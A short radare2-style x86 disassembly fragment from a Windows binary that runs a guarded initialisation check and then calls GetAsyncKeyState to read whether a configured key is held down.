mov ecx, dword [eax + ecx*4]
mov eax, dword [0x1028c414]
cmp eax, dword [ecx + 4]
jle 0x1003aec3
push 0x1028c414
call fcn.1012b230
add esp, 4
cmp dword [0x1028c414], 0xffffffff
jne 0x1003aec3
push 0x1028c414
mov dword [0x1028c41c], 0
mov dword [0x1028c418], 0x101cf150
call fcn.1012b1df
add esp, 4
cmp dword [0x101cf150], 0
jne 0x1003aecf
mov al, 1
ret
mov eax, dword [0x1028c418]
mov eax, dword [eax]
test eax, eax
jne 0x1003aee2
mov dword [0x1028c41c], eax
xor al, al
ret
push eax
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
and al, 1
movzx ecx, al
mov dword [0x1028c41c], ecx
ret